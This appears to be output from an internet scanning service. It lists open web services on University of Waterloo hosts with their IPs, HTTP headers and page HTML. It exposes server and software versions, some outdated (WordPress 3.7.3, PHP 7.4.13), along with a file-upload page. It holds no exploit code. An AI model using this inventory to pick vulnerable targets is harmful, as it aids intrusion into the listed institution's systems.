<link rel="manifest" href="/site.webmanifest">
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
<meta name="msapplication-TileColor" content="#da532c">
<meta name="theme-color" content="#ffffff">
</head>
<body>
<nav class="navbar navbar-expand-sm navbar-light ">
<a class="navtitle navbar-brand" href="./">LaTeX to Mobius</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto navbar-right">
</ul>
<ul class="nav justify-content-end">
<a class="nav-link nav-links" href="./">
<button type="button" class="btn prim-button nav-links additonal-buttons">Home</button></a>
<a class="nav-link nav-links" href="index.php?page=disclaimer">
<button type="button" class="btn nav-links additonal-buttons">Disclaimer</button></a>
<a class="nav-link nav-links" href="includes/L2M_Documentation.pdf">
<button type="button" class="btn nav-links additonal-buttons">User Guide</button></a>
</ul>
</div>
</nav>
<!-- <html> -->
<div class="d-flex justify-content-center vertical-center">
<div class="d-flex justify-content-center flex-column">
<div class="p-2">
<h2 class="text-center make-roboto">Upload files</h2>
</div>
<div class="p-2">
<form action="index.php" method="post" enctype="multipart/form-data">
</br>
</br>
<input type="file" name="fileToUpload" id="fileToUpload" class="inputfile inputfile-1" data-multiple-caption="{count} files selected" multiple />
<label for="fileToUpload" />
<div style="text-align: center;">
<span id="upload-bar">
<i class="fa fa-cloud-upload fa-2x fontawesome-upload-icon-latex" aria-hidden="true"></i>
Select a .tex or .zip file to upload…
</span>
</div>
</label>
</br>
</br>
<button class="btn nav-links2" type='submit' onclick="setTimeout(another_upload_text(), 5000);">Convert LaTeX Document</button>
<!-- <input class="favorite styled" type="submit" value="Upload LaTeX file" name="submit"> -->
</form>
</div>
</div>
</div>
<div class="d-flex justify-content-center vertical-center
Open service 129.97.134.17:443 · fass.uwaterloo.ca
2026-01-09 19:51
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 19:51:07 GMT
Server: Apache/2.4.65 (Debian)
Link: <https://fass.uwaterloo.ca/wp-json/>; rel="https://api.w.org/"
Strict-Transport-Security: max-age=26784000
Upgrade: h2,h2c
Connection: Upgrade, close
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Page title: FASS | UW's Premier Amateur Amateur Theatre Company
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" lang="en-US">
<![endif]-->
<!--[if IE 8]>
<html class="ie ie8" lang="en-US">
<![endif]-->
<!--[if !(IE 7) | !(IE 8) ]><!-->
<html lang="en-US">
<!--<![endif]-->
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width" />
<title>FASS | UW's Premier Amateur Amateur Theatre Company</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="pingback" href="https://fass.uwaterloo.ca/xmlrpc.php" />
<!--[if lt IE 9]>
<script src="https://fass.uwaterloo.ca/wp-content/themes/testtwo/js/html5.js" type="text/javascript"></script>
<![endif]-->
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="FASS » Feed" href="https://fass.uwaterloo.ca/feed/" />
<link rel="alternate" type="application/rss+xml" title="FASS » Comments Feed" href="https://fass.uwaterloo.ca/comments/feed/" />
<script type="text/javascript">
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/fass.uwaterloo.ca\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.2.2"}};
/*! This file is auto-generated */
!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){p.clearRect(0,0,i.width,i.height),p.fillText(e,0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(t,0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(p&&p.fillText)switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s("\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!s("\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!s("\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!s("\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c\udfff","\ud83e\udef1\ud83c\udffb\u200b\ud83e\udef2\ud83c\udfff")}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(e=t.source||{}).concatemoji?c(e.concatemoji):e.wpemoji&&e.twemoji&&(c(e.twemoji),c(e.wpemoji)))}(window,document,window._wpemojiSettings);
</script>
<style type="text/css">
img.wp-smiley,
img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 0.07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://fass.uwaterloo.ca/wp-includes/css/dist/block-library/style.min.css?ver=6.2.2' type='text/css' media='all' />
<link rel='stylesheet' id='classic-theme-styles-css' href='https://fass.uwaterloo.ca/wp-includes/css/classic-themes.min.css?ver=6.2.2' type='text/css' media='all' />
<style id='global-styles-inline-css' type='text/css'>
body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--
Open service 129.97.152.225:443 · rocketchat.cs.uwaterloo.ca
2026-01-09 17:59
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 17:59:07 GMT
Server: Apache/2.4.52 (Ubuntu)
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Content-Security-Policy: default-src 'self' https://cdn.zapier.com; connect-src *; font-src 'self' https://cdn.zapier.com data:; frame-src *; img-src * data: blob:; media-src * data:; script-src 'self' 'unsafe-eval' 'sha256-jqxtvDkBbRAl9Hpqv68WdNOieepg8tJSYu1xIy7zT34=' 'sha256-aui5xYk3Lu1dQcnsPlNZI+qDTdfzdUv3fzsw80VLJgw=' https://cdn.zapier.com https://zapier.com; style-src 'self' 'unsafe-inline' https://cdn.zapier.com
X-Instance-ID: e0eb6edf-b89c-466d-92f4-cf32d685dbb5
Access-Control-Allow-Origin: *
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Page title: rocketchat.cs
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" class="__meteor-css__" href="/e37e3a526aace32e4ea71108fc18652f860ce79f.css?meteor_css_resource=true">
<script id="scripts" type="text/javascript" src="/scripts_887a5339b2625a8970658c4f5f9bd94f1067ab7a.js"></script>
<meta name="referrer" content="same-origin" />
<link rel="icon" sizes="16x16" type="image/png" href=/assets/favicon_16.png />
<link rel="icon" sizes="32x32" type="image/png" href=/assets/favicon_32.png />
<link rel="icon" sizes="any" type="image/svg+xml" href=/assets/favicon.svg />
<title>rocketchat.cs</title><meta name="application-name" content="rocketchat.cs"><meta name="apple-mobile-web-app-title" content="rocketchat.cs">
<meta http-equiv="content-language" content=""><meta name="language" content="">
<meta name="robots" content="INDEX,FOLLOW">
<meta name="msvalidate.01" content="">
<meta name="google-site-verification" content="">
<meta property="fb:app_id" content="">
<base href="/">
</head>
<body>
<noscript style="color: white; text-align:center">
You need to enable JavaScript to run this app.
</noscript>
<div id="react-root">
<div class="page-loading" role="alert" aria-busy="true" aria-live="polite" aria-label="loading">
<div class="loading__animation">
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
<div class="loading__animation__bounce"></div>
</div>
</div>
</div>
<style id='css-variables'> :root {}</style>
<script type="text/javascript" src="/meteor_runtime_config.js?hash=21828d900ff27b15c1ad7ab0aeec098f547fa62d"></script>
<script type="text/javascript" src="/3054b8907c5ff9acb854316cc540d0d364e126dc.js?meteor_js_resource=true"></script>
</body>
</html>
Open service 129.97.140.196:80 · cemc1.uwaterloo.ca
2026-01-09 17:36
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 17:37:16 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 09-Jan-2027 17:37:16 GMT; Max-Age=31536000; path=/ X-Redirect-By: WordPress Location: http://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.140.196:443 · cscircles.cemc.uwaterloo.ca
2026-01-09 17:21
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 17:21:25 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 09-Jan-2027 17:21:26 GMT; Max-Age=31536000; path=/; secure Link: <https://cscircles.cemc.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Link: <https://cscircles.cemc.uwaterloo.ca/wp-json/wp/v2/pages/94>; rel="alternate"; type="application/json" Link: <https://cscircles.cemc.uwaterloo.ca/>; rel=shortlink Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.50.135:443 · iwarrior.uwaterloo.ca
2026-01-09 15:43
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 15:43:06 GMT Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3 Link: <https://iwarrior.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.50.135:443 · nsbe.uwaterloo.ca
2026-01-09 15:04
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 15:04:53 GMT Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3 Strict-Transport-Security: max-age=63072000; includeSubdomains; Cache-Control: private, max-age=0, must-revalidate Link: <https://nsbe.uwaterloo.ca/index.php?rest_route=/>; rel="https://api.w.org/", <https://nsbe.uwaterloo.ca/index.php?rest_route=/wp/v2/pages/85>; rel="alternate"; type="application/json", <https://nsbe.uwaterloo.ca/>; rel=shortlink Strict-Transport-Security: max-age=63072000; includeSubdomains; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo Content-Type: text/html; charset=UTF-8 Connection: close Transfer-Encoding: chunked
Open service 129.97.140.196:443 · cemc1.uwaterloo.ca
2026-01-09 15:02
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 15:02:49 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: pll_language=en; expires=Sat, 09-Jan-2027 15:02:49 GMT; Max-Age=31536000; path=/; secure X-Redirect-By: WordPress Location: https://cscircles.cemc.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.134.246:80 · www.mathnews.uwaterloo.ca
2026-01-09 14:55
HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jan 2026 14:56:17 GMT Server: Apache Expires: Fri, 09 Jan 2026 15:56:17 GMT Cache-Control: max-age=3600 X-Redirect-By: WordPress Location: http://mathnews.uwaterloo.ca/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Open service 129.97.222.20:443 · margotblog.uwaterloo.ca
2026-01-09 14:46
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 14:43:00 GMT
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Last-Modified: Thu, 15 May 2014 18:23:05 GMT
ETag: "466e-4f9746356d440"
Accept-Ranges: bytes
Content-Length: 18030
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: MARGOT | Welcome to the MARGOT research project!
<!DOCTYPE html>
<html lang="en-US">
<head>
<title>MARGOT | Welcome to the MARGOT research project!</title>
<!-- Basic Meta Data -->
<meta charset="UTF-8" />
<meta name="copyright" content="" />
<!-- Favicon -->
<link rel="shortcut icon" href="http://margot.uwaterloo.ca/wp-content/themes/vigilance_pro/images/favicon.ico" />
<!-- WordPress -->
<link rel="pingback" href="http://margot.uwaterloo.ca/xmlrpc.php" />
<link rel="alternate" type="application/rss+xml" title="MARGOT » Feed" href="feed/index.html" />
<link rel="alternate" type="application/rss+xml" title="MARGOT » Comments Feed" href="comments/feed/index.html" />
<link rel="alternate" type="application/rss+xml" title="MARGOT » Home Comments Feed" href="home/feed/index.html" />
<link rel='stylesheet' id='smooth_slider_headcss-css' href='wp-content/plugins/smooth-slider/css/skins/default/style.css%3Fver=2.4.css' type='text/css' media='all' />
<link rel='stylesheet' id='vigilance-style-css' href='wp-content/themes/vigilance_pro/style.css' type='text/css' media='all' />
<!--[if lt IE 8]>
<link rel='stylesheet' id='vigilance-ie-style-css' href='http://margot.uwaterloo.ca/wp-content/themes/vigilance_pro/stylesheets/ie.css' type='text/css' media='all' />
<![endif]-->
<!--[if lte IE 6]>
<link rel='stylesheet' id='vigilance-ie6-style-css' href='http://margot.uwaterloo.ca/wp-content/themes/vigilance_pro/stylesheets/ie6.css' type='text/css' media='all' />
<![endif]-->
<link rel='stylesheet' id='cyclone-slider-plugin-styles-css' href='index.html%3Fcyclone_templates_css=1&ver=3.7.3.css' type='text/css' media='all' />
<link rel='stylesheet' id='acx-widget-si-style-css' href='wp-content/plugins/acurax-social-media-widget/style.css%3Fver=3.7.3.css' type='text/css' media='all' />
<script type='text/javascript' src='wp-content/plugins/facebook-activity-feed-widget-for-wordpress/jscolor/jscolor.js%3Fver=3.7.3'></script>
<script type='text/javascript' src='wp-includes/js/jquery/jquery.js%3Fver=1.10.2'></script>
<script type='text/javascript' src='wp-includes/js/jquery/jquery-migrate.min.js%3Fver=1.2.1'></script>
<script type='text/javascript' src='wp-content/plugins/smooth-slider/js/jcycle.js%3Fver=2.4'></script>
<script type='text/javascript' src='wp-content/plugins/fd-footnotes/fdfootnotes.js%3Fver=1.3'></script>
<script type='text/javascript' src='wp-includes/js/comment-reply.min.js%3Fver=3.7.3'></script>
<script type='text/javascript' src='wp-content/themes/vigilance_pro/javascripts/vigilance.js'></script>
<script type='text/javascript' src='wp-content/plugins/cyclone-slider/js/jquery.cycle.all.min.js%3Fver=3.7.3'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://margot.uwaterloo.ca/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="wp-includes/wlwmanifest.xml" />
<link rel='prev' title='J. Paul Getty Museum, MS. Ludwig XV 7, 1405' href='index.html%3Fp=544.html' />
<link rel='next' title='Conference: 1993' href='index.html%3Fp=1038.html' />
<meta name="generator" content="WordPress 3.7.3" />
<link rel='canonical' href='index.html%3Fp=743.html' />
<link rel='shortlink' href='index.html%3Fp=743.html' />
<!-- Starting Styles For Social Media Icon From Acurax International www.acurax.com -->
<style type='text/css'>
#acx_social_widget img
{
width: 32px;
}
#acx_social_widget
{
min-width:0px;
position: static;
}
</style>
<!-- Ending Styles For Social Media Icon From Acurax International www.acurax.com -->
<style type="text/css">
ol.footnotes li {list-style-type:decimal;}
ol.footnotes{font-size:0.8em; color:#666666;} </style>
<style type="text/css">
/*Background
------------------------------------------------------------ */
body { background-color: #fff; }
#wrapper{
background: #fff;
padding: 0 20px 10px 20px;
border-left: 4px solid #fff;
border-right: 4px solid #fff;
}
/*Links
------------------------------------------------------------ */
#content a:link, #content a:visit
Open service 129.97.50.135:80 · chemsoc.uwaterloo.ca
2026-01-09 13:15
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 13:16:26 GMT
Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Upgrade: h2
Connection: Upgrade, close
Last-Modified: Fri, 11 May 2018 02:43:54 GMT
ETag: "1ea3-56be51b5aff73"
Accept-Ranges: bytes
Content-Length: 7843
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo
Content-Type: text/html
Page title: Chemical Engineering Society | University of Waterloo
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Chemical Engineering Society | University of Waterloo</title>
<style type="text/css" media="screen">
@import url("http://www.uwaterloo.ca/css/UWblank.css");
#primarynavarea a:hover {
background-color: #eeeeee;
border: 1px solid #cccccc;
padding: 2px;
}
#primarycontarea h1 { /* highest order in content -- default styles TBD -- override in custom.css */
font-size:120%;
margin-top: 0px;
margin-bottom: 3px;
padding: 0 0 2px 0;
}
#recentposters a {
background-color: #FFFFFF;
border: none;
padding: 0;
margin: 0;
}
#recentposters a:hover {
background-color: #FFFFFF;
border: none;
padding: 0;
margin:0;
}
</style>
<style type="text/css" media="screen">
@import url("http://www.uwaterloo.ca/css/UWhome.css");
</style>
<style type="text/css" media="screen">
@import url("http://www.uwaterloo.ca/css/UW2col.css");
</style>
<style type="text/css" media="screen">
@import url("http://www.uwaterloo.ca/css/UW3col.css");
</style>
<!-- conditional comment added for IE 6 printing, IE 5.5 will not print this page very well -->
<!--[if IE 6]>
<style type="text/css">
@import url("http://www.uwaterloo.ca/css/UWprint.css") print;
</style>
<![endif]--><!-- this print will work in W3 Standard compliant browsers -->
<style type="text/css">
@import url("http://www.uwaterloo.ca/css/UWprint.css") print;
</style>
<meta http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<meta http-equiv=Content-Language content=en-us><!-- fill in below according to your site -->
<meta content="University of Waterloo Chemical Engineering Sociery" name=description>
<meta content="Chemical, Engineering, University, Waterloo" name=keywords>
<meta content="ChemEngSoc" name=author><!-- do not edit below meta please DO NOT DELETE THIS -->
<meta content="Design - Jesse Rodgers (jrodgers@admmail.uwaterloo.ca)"
name=author>
<meta content="Copyright (c) 2004-2005 University of Waterloo" name=Copyright>
<meta content="XHTML Version 1.0 http://web.uwaterloo.ca/documentation/clforgeeks/v1p0.html" name=version>
<!-- optional regions -->
<!-- TemplateParam name="collageplacement" type="boolean" value="true" -->
<!-- TemplateParam name="twocolumn" type="boolean" value="true" -->
<!-- TemplateParam name="threecolumn" type="boolean" value="true" -->
<!-- TemplateParam name="topictitle" type="boolean" value="false" -->
<!-- TemplateParam name="secondnavright" type="boolean" value="true" -->
<!-- TemplateParam name="link1sub" type="boolean" value="false" -->
<!-- TemplateParam name="link2sub" type="boolean" value="false" -->
<!-- TemplateParam name="link3sub" type="boolean" value="false" -->
<meta content="MSHTML 6.00.2900.2627" name="generator">
</head>
<body>
<!-- header -->
<div id="header">
<div id="clfbar">
<div id="uwlogo">
<a href="http://www.uwaterloo.ca/">
<img src="images/uwlogo1.png" alt="Link to the University of Waterloo home page" height=70 width=70 border=0>
</a>
</div>
<div id="searchbox">
<!-- form script is located on info, there are options though. Information is at http://web.uwaterloo.ca/clftemplate/search.html -->
<form lang=en id=search dir=ltr title=search name=search action=http://www.uwaterloo.ca/apps/php/phpsearch.php method=post target=_blank>
<input type=radio checked value=google name=searchtype> uwaterloo.ca
<input class=google id=searchterm accessKey=s tabIndex=2 name=searchterm>
<input class=google id=submit tabIndex=3 type=submit value=Search name=submit>
</form>
</div>
<!-- This is the department/faculty/site title - currently it is an image, options explained at http://web.uwaterloo.ca/documentation/clforgeeks/headerexplained.html -->
<div id="wordmark">
<h1><a href="http://www.uwaterloo.ca/">
<!-- replace title image with your own DO NOT FORGET ALT TAG!!! -->
<img height=30 alt="Chemical Engineering Society | University of Waterloo" src="images/title.png" width=400 border=0>
</a></h1>
Open service 129.97.222.96:443 · qr.sci.uwaterloo.ca
2026-01-09 13:14
HTTP/1.1 200 OK Alt-Svc: h3=":443"; ma=2592000 Server: Caddy Date: Fri, 09 Jan 2026 13:14:10 GMT Content-Length: 0 Connection: close
Open service 129.97.222.96:80 · qr.sci.uwaterloo.ca
2026-01-09 13:14
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://qr.sci.uwaterloo.ca/ Server: Caddy Date: Fri, 09 Jan 2026 13:15:08 GMT Content-Length: 0
Open service 129.97.50.139:443 · ofis.uwaterloo.ca
2026-01-09 13:07
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 13:07:24 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.1.1h-freebsd PHP/7.4.13 Cache-Control: private, max-age=0, must-revalidate Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Powered-By: PHP/7.4.13 X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo referer: https://ofis.uwaterloo.ca Content-Length: 85 Content-Type: text/html; charset=UTF-8 <meta http-equiv='Refresh' content='0;URL=OFIS/'>^M <a href="ofis/">OFIS</a><br />^M
Open service 35.183.221.217:80 · subjectguides.uwaterloo.ca
2026-01-09 13:06
HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 09 Jan 2026 13:06:16 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://subjectguides.uwaterloo.ca/ X-Backend-Server: libguides-ca-2.springyaws.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; preload Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
Open service 52.60.177.45:80 · subjectguides.uwaterloo.ca
2026-01-09 13:06
HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 09 Jan 2026 13:06:16 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://subjectguides.uwaterloo.ca/ X-Backend-Server: libguides-ca-1.springyaws.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; preload Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
Open service 52.60.177.45:443 · subjectguides.uwaterloo.ca
2026-01-09 13:06
HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Jan 2026 13:06:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Backend-Server: libguides-ca-2.springyaws.com X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests Strict-Transport-Security: max-age=31536000; preload
Open service 35.183.221.217:443 · subjectguides.uwaterloo.ca
2026-01-09 13:06
HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Jan 2026 13:06:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Backend-Server: libguides-ca-1.springyaws.com X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests Strict-Transport-Security: max-age=31536000; preload
Open service 129.97.50.135:443 · engconnect.uwaterloo.ca
2026-01-09 12:51
HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 12:51:25 GMT Server: Apache/2.4.63 (FreeBSD) OpenSSL/3.0.15 mod_fcgid/2.3.9 mod_perl/2.0.13 Perl/v5.36.3 Link: <https://engconnect.uwaterloo.ca/wp-json/>; rel="https://api.w.org/", <https://engconnect.uwaterloo.ca/wp-json/wp/v2/pages/15>; rel="alternate"; title="JSON"; type="application/json", <https://engconnect.uwaterloo.ca/>; rel=shortlink Strict-Transport-Security: max-age=63072000; includeSubdomains; Upgrade: h2 Connection: Upgrade, close X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1;mode=block X-Content-Type-Options: nosniff X-XSRF-TOKEN: CfDJ8D-A48j-xV5MqmO4Dlt0_Vg0Y8Pa2R2SFJyL2iVPrAaHCpih4mrx2_R7bncDeraDnAt-oRt0JSPfob5cebRurr0nzeOxRqmfSIYQYyCETQM3vc6BDul9Bq-WMrIj-i4BhliQOeo3q3WsSqIwRn4lnHo Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.134.17:443 · uwcbc.uwaterloo.ca
2026-01-09 12:35
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 12:35:57 GMT
Server: Apache/2.4.65 (Debian)
Strict-Transport-Security: max-age=26784000
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Wed, 26 Nov 2025 04:34:18 GMT
ETag: "d7e5-64477e8dd5e49"
Accept-Ranges: bytes
Content-Length: 55269
Vary: Accept-Encoding
Content-Type: text/html
Page title: UW Concert Band Club
<!DOCTYPE html>
<html lang="en">
<head>
<title>UW Concert Band Club</title>
<meta charset="UTF-8" />
<link rel="stylesheet" type="text/css" href="styles.css?Sept4" />
<link rel="shortcut icon" href="logo_images/browser_icon.ico" />
<script src="https://code.jquery.com/jquery-1.11.3.min.js" integrity="sha256-7LkWEzqTdpEfELxcZZlS6wAx5Ff13zZ83lYO2/ujj7g=" crossorigin="anonymous"></script>
<script type="text/javascript">
$(document).ready(function(){
$(".open_image").click(function() {
// changes ".../promotional_images/thumbnails/xyz.jpg" to ".../promotional_images/xyz.jpg" when you click
window.open($(this).attr('src').substring(0, 19).concat($(this).attr('src').substring(30)));
});
/****************** Paging mechanism. *********************/
// Count how many news there are and use that to decide how many pages there should be.
var news_num = $("#news_content").children().length;
var page_num = Math.ceil(news_num / 5);
var num_entries = 5; // Number of entries per page.
var pg = 0; // Page user is currently on.
var start = 0; // Start at entry index[start].
var end = 5; // End at entry inde[end].
for (i=0; i < page_num; i++) {
$("#page_numbers").append("<a class='number' href='#page_"+(i+1)+"'>"+(i+1)+"</a>");
}
// Hide all news.
$("#news_content > li").css('display','none');
// If location.hash is not specified and pathname is not specified.
if (location.pathname == "/" || location.hash == "" || location.hash == "#page_1") {
$("#news_content > li").slice(start,end).css('display','');
$(".number:first").css({'color':'white','background-color':'#0D5F49','border-radius':'2px'});
} else {
pg = location.hash.substr(6);
start = (pg*num_entries)-num_entries;
end = pg*num_entries;
$("#news_content > li").slice(start,end).css('display','');
}
// When div buttons are hovered.
$(".number").hover(function(){
$(this).css({'color':'white','background-color':'#0D5F49','border-radius':'2px'}); //selected
}, function(){
var item = location.hash;
if ($(this).attr("href")==item) { // If it's on the current page
$(this).css({'color':'white','background-color':'#0D5F49','border-radius':'2px'}); //selected
} else {
$(this).css({'color':'#6CC417','background-color':'white','border-radius':'2px'});
}
});
// Change to show respective divs when number is clicked on respective page.
$("#page_numbers > a").click(function(){
pg = $(this).text();
start = (pg*num_entries)-num_entries;
end = pg*num_entries;
$("#news_content > li").css('display','none');
$("#news_content > li").slice(start,end).css('display','');
// Button look clicked.
$(".number").css({'color':'#6CC417','background-color':'white','border-radius':'2px'});
